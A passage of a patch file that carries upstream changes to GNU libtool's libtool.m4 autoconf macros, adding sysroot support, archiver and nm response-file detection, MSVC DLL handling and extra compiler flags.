+ m4_require([_LT_CMD_GLOBAL_SYMBOLS])dnl
++m4_require([_LT_WITH_SYSROOT])dnl
+
+ _LT_CONFIG_LIBTOOL_INIT([
+ # See if we are running on zsh, and set the options which allow our
+@@ -632,7 +637,7 @@ m4_ifset([AC_PACKAGE_NAME], [AC_PACKAGE_NAME ])config.lt[]dnl
+ m4_ifset([AC_PACKAGE_VERSION], [ AC_PACKAGE_VERSION])
+ configured by $[0], generated by m4_PACKAGE_STRING.
+
+-Copyright (C) 2009 Free Software Foundation, Inc.
++Copyright (C) 2010 Free Software Foundation, Inc.
+ This config.lt script is free software; the Free Software Foundation
+ gives unlimited permision to copy, distribute and modify it."
+
+@@ -746,15 +751,12 @@ _LT_EOF
+ # if finds mixed CR/LF and LF-only lines. Since sed operates in
+ # text mode, it properly converts lines to CR/LF. This bash problem
+ # is reportedly fixed, but why not run on old versions too?
+- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
++ sed '$q' "$ltmain" >> "$cfgfile" \
++ || (rm -f "$cfgfile"; exit 1)
+
+- _LT_PROG_XSI_SHELLFNS
++ _LT_PROG_REPLACE_SHELLFNS
+
+- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- mv -f "$cfgfile" "$ofile" ||
++ mv -f "$cfgfile" "$ofile" ||
+ (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
+ chmod +x "$ofile"
+ ],
+@@ -980,6 +982,8 @@ _LT_EOF
+ $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&AS_MESSAGE_LOG_FD
+ echo "$AR cru libconftest.a conftest.o" >&AS_MESSAGE_LOG_FD
+ $AR cru libconftest.a conftest.o 2>&AS_MESSAGE_LOG_FD
++ echo "$RANLIB libconftest.a" >&AS_MESSAGE_LOG_FD
++ $RANLIB libconftest.a 2>&AS_MESSAGE_LOG_FD
+ cat > conftest.c << _LT_EOF
+ int main() { return 0;}
+ _LT_EOF
+@@ -1071,30 +1075,41 @@ m4_defun([_LT_DARWIN_LINKER_FEATURES],
+ fi
+ ])
+
+-# _LT_SYS_MODULE_PATH_AIX
+-# -----------------------
++# _LT_SYS_MODULE_PATH_AIX([TAGNAME])
++# ----------------------------------
+ # Links a minimal program and checks the executable
+ # for the system default hardcoded library path. In most cases,
+ # this is /usr/lib:/lib, but when the MPI compilers are used
+ # the location of the communication and MPI libs are included too.
+ # If we don't find anything, use the default library path according
+ # to the aix ld manual.
++# Store the results from the different compilers for each TAGNAME.
++# Allow to override them for all tags through lt_cv_aix_libpath.
+ m4_defun([_LT_SYS_MODULE_PATH_AIX],
+ [m4_require([_LT_DECL_SED])dnl
+-AC_LINK_IFELSE([AC_LANG_SOURCE([AC_LANG_PROGRAM])],[
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi],[])
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ AC_CACHE_VAL([_LT_TAGVAR([lt_cv_aix_libpath_], [$1])],
++ [AC_LINK_IFELSE([AC_LANG_PROGRAM],[
++ lt_aix_libpath_sed='[
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }]'
++ _LT_TAGVAR([lt_cv_aix_libpath_], [$1])=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$_LT_TAGVAR([lt_cv_aix_libpath_], [$1])"; then
++ _LT_TAGVAR([lt_cv_aix_libpath_], [$1])=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi],[])
++ if test -z "$_LT_TAGVAR([lt_cv_aix_libpath_], [$1])"; then
++ _LT_TAGVAR([lt_cv_aix_libpath_], [$1])="/usr/lib:/lib"
++ fi
++ ])
++ aix_libpath=$_LT_TAGVAR([lt_cv_aix_libpath_], [$1])
++fi
+ ])# _LT_SYS_MODULE_PATH_AIX
+
+
+@@ -1119,7 +1134,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
+
+ AC_MSG_CHECKING([how to print strings])
+ # Test print first, because it will be a builtin if present.
+-if test "X`print -r -- -n 2>/dev/null`" = X-n && \
++if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
+ test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
+ ECHO='print -r --'
+ elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
+@@ -1163,6 +1178,39 @@ _LT_DECL([], [ECHO], [1], [An echo program that protects backslashes])
+ ])# _LT_PROG_ECHO_BACKSLASH
+
+
++# _LT_WITH_SYSROOT
++# ----------------
++AC_DEFUN([_LT_WITH_SYSROOT],
++[AC_MSG_CHECKING([for sysroot])
++AC_ARG_WITH([libtool-sysroot],
++[ --with-libtool-sysroot[=DIR] Search for dependent libraries within DIR
++ (or the compiler's sysroot if not specified).],
++[], [with_libtool_sysroot=no])
++
++dnl lt_sysroot will always be passed unquoted. We quote it here
++dnl in case the user passed a directory name.
++lt_sysroot=
++case ${with_libtool_sysroot} in #(
++ yes)
++ if test "$GCC" = yes; then
++ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
++ fi
++ ;; #(
++ /*)
++ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
++ ;; #(
++ no|'')
++ ;; #(
++ *)
++ AC_MSG_RESULT([${with_libtool_sysroot}])
++ AC_MSG_ERROR([The sysroot must be an absolute path.])
++ ;;
++esac
++
++ AC_MSG_RESULT([${lt_sysroot:-no}])
++_LT_DECL([], [lt_sysroot], [0], [The root where to search for ]dnl
++[dependent libraries, and in which our libraries should be installed.])])
++
+ # _LT_ENABLE_LOCK
+ # ---------------
+ m4_defun([_LT_ENABLE_LOCK],
+@@ -1322,6 +1370,51 @@ need_locks="$enable_libtool_lock"
+ ])# _LT_ENABLE_LOCK
+
+
++# _LT_PROG_AR
++# -----------
++m4_defun([_LT_PROG_AR],
++[AC_CHECK_TOOLS(AR, [ar], false)
++ touch conftest.c
++ $AR $plugin_option rc conftest.a conftest.c
++ if test "$?" != 0; then
++ AC_MSG_WARN([Failed: $AR $plugin_option rc])
++ else
++ AR="$AR $plugin_option"
++ fi
++ rm -f conftest.*
++: ${AR=ar}
++: ${AR_FLAGS=cru}
++_LT_DECL([], [AR], [1], [The archiver])
++_LT_DECL([], [AR_FLAGS], [1], [Flags to create an archive])
++
++AC_CACHE_CHECK([for archiver @FILE support], [lt_cv_ar_at_file],
++ [lt_cv_ar_at_file=no
++ AC_COMPILE_IFELSE([AC_LANG_PROGRAM],
++ [echo conftest.$ac_objext > conftest.lst
++ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&AS_MESSAGE_LOG_FD'
++ AC_TRY_EVAL([lt_ar_try])
++ if test "$ac_status" -eq 0; then
++ # Ensure the archiver fails upon bogus file names.
++ rm -f conftest.$ac_objext libconftest.a
++ AC_TRY_EVAL([lt_ar_try])
++ if test "$ac_status" -ne 0; then
++ lt_cv_ar_at_file=@
++ fi
++ fi
++ rm -f conftest.* libconftest.a
++ ])
++ ])
++
++if test "x$lt_cv_ar_at_file" = xno; then
++ archiver_list_spec=
++else
++ archiver_list_spec=$lt_cv_ar_at_file
++fi
++_LT_DECL([], [archiver_list_spec], [1],
++ [How to feed a file listing to the archiver])
++])# _LT_PROG_AR
++
++
+ # _LT_CMD_OLD_ARCHIVE
+ # -------------------
+ m4_defun([_LT_CMD_OLD_ARCHIVE],
+@@ -1338,23 +1431,7 @@ for plugin in $plugin_names; do
+ fi
+ done
+
+-AC_CHECK_TOOL(AR, ar, false)
+-test -z "$AR" && AR=ar
+-if test -n "$plugin_option"; then
+- if $AR --help 2>&1 | grep -q "\--plugin"; then
+- touch conftest.c
+- $AR $plugin_option rc conftest.a conftest.c
+- if test "$?" != 0; then
+- AC_MSG_WARN([Failed: $AR $plugin_option rc])
+- else
+- AR="$AR $plugin_option"
+- fi
+- rm -f conftest.*
+- fi
+-fi
+-test -z "$AR_FLAGS" && AR_FLAGS=cru
+-_LT_DECL([], [AR], [1], [The archiver])
+-_LT_DECL([], [AR_FLAGS], [1])
++_LT_PROG_AR
+
+ AC_CHECK_TOOL(STRIP, strip, :)
+ test -z "$STRIP" && STRIP=:
+@@ -1655,7 +1732,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-[#line __oline__ "configure"
++[#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -1699,10 +1776,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -2242,8 +2319,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+ need_version=no
+ need_lib_prefix=no
+
+- case $GCC,$host_os in
+- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
++ case $GCC,$cc_basename in
++ yes,*)
++ # gcc
+ library_names_spec='$libname.dll.a'
+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
+ postinstall_cmds='base_file=`basename \${file}`~
+@@ -2276,13 +2354,71 @@ m4_if([$1], [],[
+ library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}'
+ ;;
+ esac
++ dynamic_linker='Win32 ld.exe'
++ ;;
++
++ *,cl*)
++ # Native MSVC
++ libname_spec='$name'
++ soname_spec='${libname}`echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}'
++ library_names_spec='${libname}.dll.lib'
++
++ case $build_os in
++ mingw*)
++ sys_lib_search_path_spec=
++ lt_save_ifs=$IFS
++ IFS=';'
++ for lt_path in $LIB
++ do
++ IFS=$lt_save_ifs
++ # Let DOS variable expansion print the short 8.3 style file name.
++ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
++ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
++ done
++ IFS=$lt_save_ifs
++ # Convert to MSYS style.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([[a-zA-Z]]\\):| /\\1|g' -e 's|^ ||'`
++ ;;
++ cygwin*)
++ # Convert to unix form, then to dos form, then back to unix form
++ # but this time dos style (no spaces!) so that the unix form looks
++ # like /cygdrive/c/PROGRA~1:/cygdr...
++ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
++ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
++ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ ;;
++ *)
++ sys_lib_search_path_spec="$LIB"
++ if $ECHO "$sys_lib_search_path_spec" | [$GREP ';[c-zC-Z]:/' >/dev/null]; then
++ # It is most probably a Windows format PATH.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
++ else
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ fi
++ # FIXME: find the short name or the path components, as spaces are
++ # common. (e.g. "Program Files" -> "PROGRA~1")
++ ;;
++ esac
++
++ # DLL is installed to $(libdir)/../bin by postinstall_cmds
++ postinstall_cmds='base_file=`basename \${file}`~
++ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
++ dldir=$destdir/`dirname \$dlpath`~
++ test -d \$dldir || mkdir -p \$dldir~
++ $install_prog $dir/$dlname \$dldir/$dlname'
++ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
++ dlpath=$dir/\$dldll~
++ $RM \$dlpath'
++ shlibpath_overrides_runpath=yes
++ dynamic_linker='Win32 link.exe'
+ ;;
+
+ *)
++ # Assume MSVC wrapper
+ library_names_spec='${libname}`echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext} $libname.lib'
++ dynamic_linker='Win32 ld.exe'
+ ;;
+ esac
+- dynamic_linker='Win32 ld.exe'
+ # FIXME: first we should search . and the directory the executable is in
+ shlibpath_var=PATH
+ ;;
+@@ -2996,6 +3132,11 @@ case $reload_flag in
+ esac
+ reload_cmds='$LD$reload_flag -o $output$reload_objs'
+ case $host_os in
++ cygwin* | mingw* | pw32* | cegcc*)
++ if test "$GCC" != yes; then
++ reload_cmds=false
++ fi
++ ;;
+ darwin*)
+ if test "$GCC" = yes; then
+ reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
+@@ -3062,7 +3203,8 @@ mingw* | pw32*)
+ lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
+ lt_cv_file_magic_cmd='func_win32_libid'
+ else
+- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
++ # Keep this pattern in sync with the one in func_win32_libid.
++ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
+ lt_cv_file_magic_cmd='$OBJDUMP -f'
+ fi
+ ;;
+@@ -3218,6 +3360,21 @@ vxworks*)
+ ;;
+ esac
+ ])
++
++file_magic_glob=
++want_nocaseglob=no
++if test "$build" = "$host"; then
++ case $host_os in
++ mingw* | pw32*)
++ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
++ want_nocaseglob=yes
++ else
++ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[[\1]]\/[[\1]]\/g;/g"`
++ fi
++ ;;
++ esac
++fi
++
+ file_magic_cmd=$lt_cv_file_magic_cmd
+ deplibs_check_method=$lt_cv_deplibs_check_method
+ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+@@ -3225,7 +3382,11 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+ _LT_DECL([], [deplibs_check_method], [1],
+ [Method to check whether dependent libraries are shared objects])
+ _LT_DECL([], [file_magic_cmd], [1],
+- [Command to use when deplibs_check_method == "file_magic"])
++ [Command to use when deplibs_check_method = "file_magic"])
++_LT_DECL([], [file_magic_glob], [1],
++ [How to find potential files when deplibs_check_method = "file_magic"])
++_LT_DECL([], [want_nocaseglob], [1],
++ [Find potential files using nocaseglob when deplibs_check_method = "file_magic"])
+ ])# _LT_CHECK_MAGIC_METHOD
+
+
+@@ -3336,6 +3497,67 @@ dnl aclocal-1.4 backwards compatibility:
+ dnl AC_DEFUN([AM_PROG_NM], [])
+ dnl AC_DEFUN([AC_PROG_NM], [])
+
++# _LT_CHECK_SHAREDLIB_FROM_LINKLIB
++# --------------------------------
++# how to determine the name of the shared library
++# associated with a specific link library.
++# -- PORTME fill in with the dynamic library characteristics
++m4_defun([_LT_CHECK_SHAREDLIB_FROM_LINKLIB],
++[m4_require([_LT_DECL_EGREP])
++m4_require([_LT_DECL_OBJDUMP])
++m4_require([_LT_DECL_DLLTOOL])
++AC_CACHE_CHECK([how to associate runtime and link libraries],
++lt_cv_sharedlib_from_linklib_cmd,
++[lt_cv_sharedlib_from_linklib_cmd='unknown'
++
++case $host_os in
++cygwin* | mingw* | pw32* | cegcc*)
++ # two different shell functions defined in ltmain.sh
++ # decide which to use based on capabilities of $DLLTOOL
++ case `$DLLTOOL --help 2>&1` in
++ *--identify-strict*)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
++ ;;
++ *)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
++ ;;
++ esac
++ ;;
++*)
++ # fallback: assume linklib IS sharedlib
++ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
++ ;;
++esac
++])
++sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
++test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
++
++_LT_DECL([], [sharedlib_from_linklib_cmd], [1],
++ [Command to associate shared and link libraries])
++])# _LT_CHECK_SHAREDLIB_FROM_LINKLIB
++
++
++# _LT_PATH_MANIFEST_TOOL
++# ----------------------
++# locate the manifest tool
++m4_defun([_LT_PATH_MANIFEST_TOOL],
++[AC_CHECK_TOOL(MANIFEST_TOOL, mt, :)
++test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
++AC_CACHE_CHECK([if $MANIFEST_TOOL is a manifest tool], [lt_cv_path_mainfest_tool],
++ [lt_cv_path_mainfest_tool=no
++ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&AS_MESSAGE_LOG_FD
++ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
++ cat conftest.err >&AS_MESSAGE_LOG_FD
++ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
++ lt_cv_path_mainfest_tool=yes
++ fi
++ rm -f conftest*])
++if test "x$lt_cv_path_mainfest_tool" != xyes; then
++ MANIFEST_TOOL=:
++fi
++_LT_DECL([], [MANIFEST_TOOL], [1], [Manifest tool])dnl
++])# _LT_PATH_MANIFEST_TOOL
++
+
+ # LT_LIB_M
+ # --------
+@@ -3462,8 +3684,8 @@ esac
+ lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
+
+ # Transform an extracted symbol line into symbol name and symbol address
+-lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([[^ ]]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \([[^ ]]*\)$/ {\"\2\", (void *) \&\2},/p'"
+-lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([[^ ]]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \(lib[[^ ]]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([[^ ]]*\) \([[^ ]]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([[^ ]]*\)[[ ]]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \([[^ ]]*\)$/ {\"\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([[^ ]]*\)[[ ]]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \(lib[[^ ]]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([[^ ]]*\) \([[^ ]]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
+
+ # Handle CRLF in mingw tool chain
+ opt_cr=
+@@ -3499,6 +3721,7 @@ for ac_symprfx in "" "_"; do
+ else
+ lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[[ ]]\($symcode$symcode*\)[[ ]][[ ]]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
+ fi
++ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
+
+ # Check to see that the pipe works correctly.
+ pipe_works=no
+@@ -3532,6 +3755,18 @@ _LT_EOF
+ if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
+ if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
+ cat <<_LT_EOF > conftest.$ac_ext
++/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
++#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
++/* DATA imports from DLLs on WIN32 con't be const, because runtime
++ relocations are performed -- see ld's documentation on pseudo-relocs. */
++# define LT@&t@_DLSYM_CONST
++#elif defined(__osf__)
++/* This system does not cope well with relocations in const data. */
++# define LT@&t@_DLSYM_CONST
++#else
++# define LT@&t@_DLSYM_CONST const
++#endif
++
+ #ifdef __cplusplus
+ extern "C" {
+ #endif
+@@ -3543,7 +3778,7 @@ _LT_EOF
+ cat <<_LT_EOF >> conftest.$ac_ext
+
+ /* The mapping between symbol names and symbols. */
+-const struct {
++LT@&t@_DLSYM_CONST struct {
+ const char *name;
+ void *address;
+ }
+@@ -3569,15 +3804,15 @@ static const void *lt_preloaded_setup() {
+ _LT_EOF
+ # Now try linking the two files.
+ mv conftest.$ac_objext conftstm.$ac_objext
+- lt_save_LIBS="$LIBS"
+- lt_save_CFLAGS="$CFLAGS"
++ lt_globsym_save_LIBS=$LIBS
++ lt_globsym_save_CFLAGS=$CFLAGS
+ LIBS="conftstm.$ac_objext"
+ CFLAGS="$CFLAGS$_LT_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)"
+ if AC_TRY_EVAL(ac_link) && test -s conftest${ac_exeext}; then
+ pipe_works=yes
+ fi
+- LIBS="$lt_save_LIBS"
+- CFLAGS="$lt_save_CFLAGS"
++ LIBS=$lt_globsym_save_LIBS
++ CFLAGS=$lt_globsym_save_CFLAGS
+ else
+ echo "cannot find nm_test_func in $nlist" >&AS_MESSAGE_LOG_FD
+ fi
+@@ -3610,6 +3845,13 @@ else
+ AC_MSG_RESULT(ok)
+ fi
+
++# Response file support.
++if test "$lt_cv_nm_interface" = "MS dumpbin"; then
++ nm_file_list_spec='@'
++elif $NM --help 2>/dev/null | grep '[[@]]FILE' >/dev/null; then
++ nm_file_list_spec='@'
++fi
++
+ _LT_DECL([global_symbol_pipe], [lt_cv_sys_global_symbol_pipe], [1],
+ [Take the output of nm and produce a listing of raw symbols and C names])
+ _LT_DECL([global_symbol_to_cdecl], [lt_cv_sys_global_symbol_to_cdecl], [1],
+@@ -3620,6 +3862,8 @@ _LT_DECL([global_symbol_to_c_name_address],
+ _LT_DECL([global_symbol_to_c_name_address_lib_prefix],
+ [lt_cv_sys_global_symbol_to_c_name_address_lib_prefix], [1],
+ [Transform the output of nm in a C name address pair when lib prefix is needed])
++_LT_DECL([], [nm_file_list_spec], [1],
++ [Specify filename containing input files for $NM])
+ ]) # _LT_CMD_GLOBAL_SYMBOLS
+
+
+@@ -3631,7 +3875,6 @@ _LT_TAGVAR(lt_prog_compiler_wl, $1)=
+ _LT_TAGVAR(lt_prog_compiler_pic, $1)=
+ _LT_TAGVAR(lt_prog_compiler_static, $1)=
+
+-AC_MSG_CHECKING([for $compiler option to produce PIC])
+ m4_if([$1], [CXX], [
+ # C++ specific cases for pic, static, wl, etc.
+ if test "$GXX" = yes; then
+@@ -3737,6 +3980,12 @@ m4_if([$1], [CXX], [
+ ;;
+ esac
+ ;;
++ mingw* | cygwin* | os2* | pw32* | cegcc*)
++ # This hack is so that the source file can tell whether it is being
++ # built for inclusion in a dll (and should export symbols for example).
++ m4_if([$1], [GCJ], [],
++ [_LT_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT'])
++ ;;
+ dgux*)
+ case $cc_basename in
+ ec++*)
+@@ -3889,7 +4138,7 @@ m4_if([$1], [CXX], [
+ ;;
+ solaris*)
+ case $cc_basename in
+- CC*)
++ CC* | sunCC*)
+ # Sun C++ 4.2, 5.x and Centerline C++
+ _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
+ _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+@@ -4112,6 +4361,12 @@ m4_if([$1], [CXX], [
+ _LT_TAGVAR(lt_prog_compiler_pic, $1)='--shared'
+ _LT_TAGVAR(lt_prog_compiler_static, $1)='--static'
+ ;;
++ nagfor*)
++ # NAG Fortran compiler
++ _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,-Wl,,'
++ _LT_TAGVAR(lt_prog_compiler_pic, $1)='-PIC'
++ _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
++ ;;
+ pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
+ # Portland Group compilers (*not* the Pentium gcc compiler,
+ # which looks to be a dead project)
+@@ -4174,7 +4429,7 @@ m4_if([$1], [CXX], [
+ _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
+ _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+ case $cc_basename in
+- f77* | f90* | f95*)
++ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
+ _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld ';;
+ *)
+ _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,';;
+@@ -4231,9 +4486,11 @@ case $host_os in
+ _LT_TAGVAR(lt_prog_compiler_pic, $1)="$_LT_TAGVAR(lt_prog_compiler_pic, $1)@&t@m4_if([$1],[],[ -DPIC],[m4_if([$1],[CXX],[ -DPIC],[])])"
+ ;;
+ esac
+-AC_MSG_RESULT([$_LT_TAGVAR(lt_prog_compiler_pic, $1)])
+-_LT_TAGDECL([wl], [lt_prog_compiler_wl], [1],
+- [How to pass a linker flag through the compiler])
++
++AC_CACHE_CHECK([for $compiler option to produce PIC],
++ [_LT_TAGVAR(lt_cv_prog_compiler_pic, $1)],
++ [_LT_TAGVAR(lt_cv_prog_compiler_pic, $1)=$_LT_TAGVAR(lt_prog_compiler_pic, $1)])
++_LT_TAGVAR(lt_prog_compiler_pic, $1)=$_LT_TAGVAR(lt_cv_prog_compiler_pic, $1)
+
+ #
+ # Check to make sure the PIC flag actually works.
+@@ -4252,6 +4509,8 @@ fi
+ _LT_TAGDECL([pic_flag], [lt_prog_compiler_pic], [1],
+ [Additional compiler flags for building library objects])
+
++_LT_TAGDECL([wl], [lt_prog_compiler_wl], [1],
++ [How to pass a linker flag through the compiler])
+ #
+ # Check to make sure the static flag actually works.
+ #
+@@ -4272,6 +4531,7 @@ _LT_TAGDECL([link_static_flag], [lt_prog_compiler_static], [1],
+ m4_defun([_LT_LINKER_SHLIBS],
+ [AC_REQUIRE([LT_PATH_LD])dnl
+ AC_REQUIRE([LT_PATH_NM])dnl
++m4_require([_LT_PATH_MANIFEST_TOOL])dnl
+ m4_require([_LT_FILEUTILS_DEFAULTS])dnl
+ m4_require([_LT_DECL_EGREP])dnl
+ m4_require([_LT_DECL_SED])dnl
+@@ -4280,6 +4540,7 @@ m4_require([_LT_TAG_COMPILER])dnl
+ AC_MSG_CHECKING([whether the $compiler linker ($LD) supports shared libraries])
+ m4_if([$1], [CXX], [
+ _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
++ _LT_TAGVAR(exclude_expsyms, $1)=['_GLOBAL_OFFSET_TABLE_|_GLOBAL__F[ID]_.*']
+ case $host_os in
+ aix[[4-9]]*)
+ # If we're using GNU nm, then we don't want the "-C" option.
+@@ -4294,15 +4555,20 @@ m4_if([$1], [CXX], [
+ ;;
+ pw32*)
+ _LT_TAGVAR(export_symbols_cmds, $1)="$ltdll_cmds"
+- ;;
++ ;;
+ cygwin* | mingw* | cegcc*)
+- _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]][[ ]]/s/.*[[ ]]\([[^ ]]*\)/\1 DATA/;/^.*[[ ]]__nm__/s/^.*[[ ]]__nm__\([[^ ]]*\)[[ ]][[^ ]]*/\1 DATA/;/^I[[ ]]/d;/^[[AITW]][[ ]]/s/.* //'\'' | sort | uniq > $export_symbols'
+- ;;
++ case $cc_basename in
++ cl*) ;;
++ *)
++ _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]][[ ]]/s/.*[[ ]]\([[^ ]]*\)/\1 DATA/;s/^.*[[ ]]__nm__\([[^ ]]*\)[[ ]][[^ ]]*/\1 DATA/;/^I[[ ]]/d;/^[[AITW]][[ ]]/s/.* //'\'' | sort | uniq > $export_symbols'
++ _LT_TAGVAR(exclude_expsyms, $1)=['[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname']
++ ;;
++ esac
++ ;;
+ *)
+ _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
+- ;;
++ ;;
+ esac
+- _LT_TAGVAR(exclude_expsyms, $1)=['_GLOBAL_OFFSET_TABLE_|_GLOBAL__F[ID]_.*']
+ ], [
